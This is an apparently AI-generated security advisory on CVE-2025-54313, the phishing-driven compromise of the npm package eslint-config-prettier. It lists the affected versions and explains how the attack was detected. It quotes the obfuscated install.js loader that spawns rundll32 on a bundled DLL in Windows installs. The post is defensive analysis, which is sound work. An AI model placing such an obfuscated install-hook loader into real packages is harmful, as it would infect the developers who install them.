Malicious npm Supply Chain Attack: Deep Technical Dive into CVE-2025-54313 in eslint-config-prettier

The compromise of eslint-config-prettier, a package with over 30 million weekly downloads, shows how quickly a single phishing email can turn into widespread malware infections. When a trusted open-source tool becomes an attack vector, the damage spreads through the global software supply chain. Security teams and developers need to understand how CVE-2025-54313 worked in order to defend their environments and restore trust in their toolchains.

Introduction

JavaScript projects rely heavily on npm packages for linting and formatting. eslint-config-prettier connects Prettier and ESLint so the two can enforce one consistent code style, and millions of projects depend on it. In July 2025, attackers compromised the maintainer's credentials and used them to inject malware into four widely used versions of the package. The attack targeted Windows developers, using npm's post-install scripts to execute a malicious DLL.

About the parties involved

eslint-config-prettier is a configuration package that disables ESLint formatting rules that might conflict with Prettier, so the two tools work together cleanly. JounQin maintains it, and countless JavaScript and TypeScript projects depend on it. With tens of millions of weekly downloads, its compromise reaches far across the software industry, from individual developers to large enterprises.

Technical information

The attack began with a targeted phishing campaign. The maintainer of eslint-config-prettier received a convincing email claiming to come from npm support. It referenced a real support ticket and contained legitimate npm links, but the login link pointed to a typosquatted domain (npnjs.com), where the attackers harvested the maintainer's credentials and npm token (stepsecurity.io, bleepingcomputer.com).

With the stolen token, the attackers published four malicious versions of eslint-config-prettier (8.10.1, 9.1.1, 10.1.6, 10.1.7) directly to the npm registry. These versions added an install.js script to the package root, with its logic obfuscated to get past a casual read:

if (os.platform() === 'win32') {
  require('chi' + 'ld_pro' + 'cess')['sp' + 'awn']('rund' + 'll32', [ path.join(__dirname, './node-gyp.dll') + ',main'
  ]);
}

The code checks whether the installation is running on Windows. If it is, it spawns a new process with rundll32 to execute the bundled node-gyp.dll file. That DLL is the Windows malware payload. Initial analysis suggests it performs reconnaissance and may establish persistence or exfiltrate data (github.com/prettier/eslint-config-prettier/issues/339, whitehat.eu).

Because of the explicit platform check, the attack only ran in Windows environments. Linux and macOS users were unaffected. The community flagged the malicious versions quickly, after automated tools such as RenovateBot noticed that the npm releases did not match the GitHub releases, and after unexpected install scripts turned up in the package (stepsecurity.io).

The execution chain depends on npm's post-install lifecycle, which runs scripts defined in the package after installation. Legitimate packages use the same hook for build steps, and it is a well-known attack surface for supply chain threats. The obfuscation delayed detection further, because splitting strings into fragments got the code past simple string-matching heuristics.

Affected systems and versions

The following versions of eslint-config-prettier are confirmed to be malicious:

• 8.10.1
• 9.1.1
• 10.1.6
• 10.1.7

Only Windows systems are affected, because the install script checks for the win32 platform. Projects that use version ranges (e.g., ^10.1.0) or automated dependency updates (e.g., Dependabot, RenovateBot) may have installed these versions without anyone intending to. The attack also hit related packages from the same maintainer, including eslint-plugin-prettier (4.2.2, 4.2.3) and synckit (0.11.9), but this CVE focuses on eslint-config-prettier (npmjs.com).

Vendor security history

JounQin, the maintainer, is responsible for several high-profile npm packages. There is no public record of earlier security incidents involving eslint-config-prettier, though the npm ecosystem has had multiple supply chain attacks in recent years. The maintainer moved quickly, revoking the compromised credentials and working with npm to deprecate the malicious versions. Even so, the incident exposes systemic weaknesses in npm's security posture. Maintainer account security is still a weak point, and the ecosystem needs to enforce multi-factor authentication across the board (bleepingcomputer.com).

References

• NVD entry for CVE-2025-54313
• Official CVE entry (MITRE)
• GitHub issue: prettier/eslint-config-prettier#339
• Hacker News thread #1
• Hacker News thread #2
• Socket.dev blog analysis
• BleepingComputer coverage
• npm package versions
• StepSecurity analysis

---

This post is based strictly on technical details and public advisories as of July 19, 2025. Security teams should review all references for the latest updates and forensic guidance.

Source: This report was created using AI

If you have suggestions or feedback, please write to us at [email protected]